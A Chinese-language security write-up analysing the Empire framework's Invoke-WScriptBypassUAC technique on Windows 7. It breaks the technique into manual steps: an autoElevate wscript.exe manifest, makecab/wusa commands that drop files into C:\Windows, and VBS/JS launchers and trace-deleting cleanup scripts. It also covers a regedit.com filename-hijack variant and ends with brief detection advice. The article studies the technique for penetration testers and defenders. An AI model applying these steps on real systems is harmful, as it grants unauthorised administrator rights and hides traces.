Empire中的Invoke-WScriptBypassUAC利用分析
0x00 前言
知名的後滲透測試框架Empire是一個很好的學習模板,其中包含的後滲透技巧很值得深入研究。
本文將要挑選Empire中一個經典的UAC繞過方法Invoke-WScriptBypassUAC進行分析,介紹繞過原理以及在滲透測試中的更多利用技巧。知道如何利用,才能知道如何防禦。
Invoke-WScriptBypassUAC地址:
https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1
0x01 簡介
本文將要介紹如下內容:
· Invoke-WScriptBypassUAC繞過原理
· 利用擴展
· 防禦檢測
0x02 Invoke-WScriptBypassUAC繞過原理
Invoke-WScriptBypassUAC通過powershell實現,思路上借鑒了Vozzie分享的github,地址如下:
https://github.com/Vozzie/uacscript
Vozzie提到ZDI和微軟選擇忽略該UAC繞過「漏洞」,ZDI認為這不是一個遠程漏洞,微軟認為UAC繞過不屬於漏洞範疇
Invoke-WScriptBypassUAC在實現上使用了一些實用的小技巧,所以本文主要對Invoke-WScriptBypassUAC的繞過方法進行分析
該方法只適用於Win7,而Win8、Win10不適用(原因在後面介紹)
測試系統: Win7 x86
由於powershell格式的源代碼公開,所以直接介紹該腳本關鍵的操作流程:
1、判斷操作系統是否為Win7,是否為普通許可權
2、Temp目錄釋放文件wscript.exe.manifest3、使用makecab.exe對wscript.exe.manifest和wscript.exe進行壓縮4、使用wusa將壓縮包解壓縮,將wscript.exe.manifest和wscript.exe釋放至c:Windows目錄5、payload保存在Appdata文件夾的ADS中6、使用c:Windowswscript.exe執行payload,實現管理員許可權執行payload,繞過UAC
0x03 利用擴展
掌握操作流程後,我們完全可以手動進行拆分測試,在這個過程中能發現更多利用思路
1、保存wscript.exe.manifest文件
代碼如下:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>n<assembly xmlns="urn:schemas-microsoft-com:asm.v1"n xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"n manifestVersion="1.0">n <asmv3:trustInfo>n <security>n <requestedPrivileges>n <requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>n </requestedPrivileges>n </security>n </asmv3:trustInfo>n <asmv3:application>n <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">n <autoElevate>true</autoElevate>n <dpiAware>true</dpiAware>n </asmv3:windowsSettings>n </asmv3:application>n</assembly>n
2、使用makecab製作cab文件
cmd:
makecab c:windowssystem32wscript.exe %TMP%1.tmpnmakecab wscript.exe.manifest %TMP%2.tmpn
3、使用wusa解壓縮cab文件並釋放至c:windows
cmd:
wusa %TMP%1.tmp /extract:"c:windows" /quietnwusa %TMP%2.tmp /extract:"c:windows" /quietn
註:
該方法成功的關鍵在於使用wusa能夠將cab文件解壓縮至c:windows,通常情況下,向c:windows目錄釋放文件需要管理員許可權,而藉助wusa,普通用戶許可權即可,當然其他管理員許可權的目錄也可以,例如: C:Windowsaddins
4、使用該wscript.exe執行vbs或者js腳本
cmd:
c:windowswscript.exe c:test1.vbsnc:windowswscript.exe c:test1.jsn
註:
此處js和vbs腳本需要絕對路徑,雖然是普通用戶許可權的cmd,但因為wscript.exe同級目錄下的wscript.exe.manifest指定以管理員許可權啟動,所以執行的vbs或者js腳本是管理員許可權,這就實現了UAC繞過
執行cmd命令對應的vbs腳本如下:
Dim objShellnDim oFsonSet oFso = CreateObject("Scripting.FileSystemObject")nSet objShell = WScript.CreateObject("WScript.Shell")ncommand = "cmd /c calc.exe"nobjShell.Run command, 0nSet objShell = Nothingn
對應的js腳本如下:
new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe",0,true);n
5、繞過後清除緩存文件
刪除c:windows下的wscript.exe和wscript.exe.manifest
對應vbs腳本如下:
Dim objShellnDim oFsonSet oFso = CreateObject("Scripting.FileSystemObject")nSet objShell = WScript.CreateObject("WScript.Shell")ncommand = "cmd /c del c:windowswscript.exe && del c:windowswscript.exe.manifest"nobjShell.Run command, 0nSet objShell = Nothingn
對應js腳本如下:
new ActiveXObject("WScript.Shell").Run("cmd /c del c:windowswscript.exe && del c:windowswscript.exe.manifest",0,true);n
註:
刪除c:windows下的wscript.exe和wscript.exe.manifest需要管理員許可權
刪除緩存文件:
del %TMP%1.tmpndel %TMP%2.tmpn
6、補充
(1)可供利用的路徑有很多,查看文件夾屬性可使用如下powershell命令:
Get-Acl -Path c:windows|select Ownern
(2)保存vbs或者js腳本的路徑有很多,例如特殊ads:
· …文件
· 特殊COM文件
· 磁碟根目錄
更多細節可參考文章《Hidden Alternative Data Streams的進階利用技巧》
當然,Invoke-WScriptBypassUAC使用的ADS位置也很隱蔽
$env:USERPROFILEAppData默認為系統隱藏文件
所以使用dir /r看不到文件夾$env:USERPROFILEAppData,當然也無法看到添加的ads
需要使用dir /a:h /r (/a:h指定查看系統隱藏文件)才能看到,或者查看所有文件:dir /a /r
(3)Win8失敗的原因
使用makecab和wusa能夠將cab文件解壓縮至高許可權目錄,如c:windows
但利用wscript.exe和wscript.exe.manifest實現高許可權執行的方法失效,Win8使用了內嵌manifest
(4)Win10失敗的原因
Win10系統無法使用makecab和wusa能夠將cab文件解壓縮至高許可權目錄,如c:windows
當然,也使用了內嵌manifest
0x04 wusa特性的進一步利用
wusa特性:
在普通用戶的許可權下,能夠將文件釋放至管理員許可權的文件夾
適用Win7、Win8
利用一:文件名劫持
1、將calc.exe重命名為http://regedit.com
2、在c:windows釋放文件http://regedit.com
cmd:
makecab c:testregedit.com %TMP%1.tmpnwusa %TMP%1.tmp /extract:"c:windows" /quietn
3、劫持
cmd輸入regedit,會執行http://regedit.com,而不是regedit.exe
關於該利用方法的詳情可參考文章:《A dirty way of tricking users to bypass UAC》
替他利用方法(暫略)
0x05 防禦
該UAC繞過方法只適用於Win7,尚未見到對應補丁,殺毒軟體能對此腳本進行攔截,但也存在繞過方法
站在防禦者的角度,建議監控wusa.exe的調用
0x06 小結
本文對Invoke-WScriptBypassUAC進行了分析,雖然微軟不認可該漏洞,但在後滲透階段,不論是滲透測試人員,還是防禦方,對此都應該注意。
本文為 3gstudent 原創稿件,授權嘶吼獨家發布,如若轉載,請註明原文地址: http://www.4hou.com/technology/7636.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※新型MacOS勒索軟體:正在偽裝成PS軟體傳播
※美國中央情報局(CIA)如何使用人工智慧收集社交媒體數據
※信息安全專業的發展會受到文憑的限制嗎?
※如何評價網易雲音樂被掛馬編譯器掛馬?
※子域名枚舉、探測工具AQUATONE 使用指南
TAG:信息安全 |